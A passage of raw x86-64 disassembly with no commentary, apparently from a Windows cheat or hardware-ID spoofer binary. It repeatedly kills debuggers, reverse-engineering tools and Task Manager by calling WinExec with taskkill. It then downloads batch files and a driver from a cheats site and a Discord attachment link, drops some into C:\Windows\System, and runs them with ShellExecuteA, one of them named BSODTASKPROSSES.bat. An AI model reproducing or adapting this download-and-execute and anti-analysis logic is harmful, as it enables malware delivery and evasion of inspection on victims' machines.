call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_AMIFLDRV64.SYS
lea rcx, [rbp + 0x220]
call fcn.140077890
nop
lea rdx, [0x14037b348]
lea rcx, [rbp + 0x200]
call fcn.140077890
nop
lea rcx, [rbp + 0x200]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x220]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_AMIDEWINx64.EXE
lea rcx, [rbp + 0x1e0]
call fcn.140077890
nop
lea rdx, [0x14037a428]
lea rcx, [rbp + 0x1c0]
call fcn.140077890
nop
lea rcx, [rbp + 0x1c0]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x1e0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_volumeid64.exe
lea rcx, [rbp + 0x1a0]
call fcn.140077890
nop
lea rdx, [0x14037a2e0]
lea rcx, [rbp + 0x180]
call fcn.140077890
nop
lea rcx, [rbp + 0x180]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rbp + 0x160]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemBSODTASKPROSSES.bat
lea rcx, [rbp + 0x140]
call fcn.140077890
nop
lea rcx, [rbp + 0x140]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x160]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_GETTRCIKEDAHAH.bat
lea rcx, [rbp + 0x120]
call fcn.140077890
nop
lea rdx, [0x14037b400]
lea rcx, [rbp + 0x100]
call fcn.140077890
nop
lea rcx, [rbp + 0x100]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x120]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x14037b400]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_bbs.bat
lea rcx, [rbp + 0xe0]
call fcn.140077890
nop
lea rdx, [0x14037b4b0]
lea rcx, [rbp + 0x840]
call fcn.140077890
nop
lea rcx, [rbp + 0x840]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0xe0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x14037b4b0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_BIOSF.bat
lea rcx, [rbp + 0x820]
call fcn.140077890
nop
lea rdx, [0x14037b558]
lea rcx, [rbp + 0x800]
call fcn.140077890
nop
lea rcx, [rbp + 0x800]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x820]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x14037b558]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_c.bat
lea rcx, [rbp + 0x7e0]
call fcn.140077890
nop
lea rdx, [0x14037b600]
lea rcx, [rbp - 0x60]
call fcn.140077890
nop
lea rcx, [rbp - 0x60]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0x7e0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_SP000F3ER4TEMPSPOOF3D_DISKALLVLMDRIVES.bat
lea rcx, [rbp]
call fcn.140077890
nop
lea rdx, str.C:WindowsSystemDISKALLVLMDRIVES.bat
lea rcx, [rbp - 0x40]
call fcn.140077890
nop
lea rcx, [rbp - 0x40]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemDISKALLVLMDRIVES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_WORKINMULTISPOOFERADVACNEDV2_UNDETECTED_WORKING_TRYNACRACKUNDETECTEDMULTSPOOFERV2TRYME_chf.bat
lea rcx, [rbp + 0xa0]
call fcn.140077890
nop
lea rdx, [0x14037b770]
lea rcx, [rbp + 0xc0]
call fcn.140077890
nop
lea rcx, [rbp + 0xc0]
call fcn.140077790
mov rbx, rax
lea rcx, [rbp + 0xa0]
call fcn.140077790
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x14037b770]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
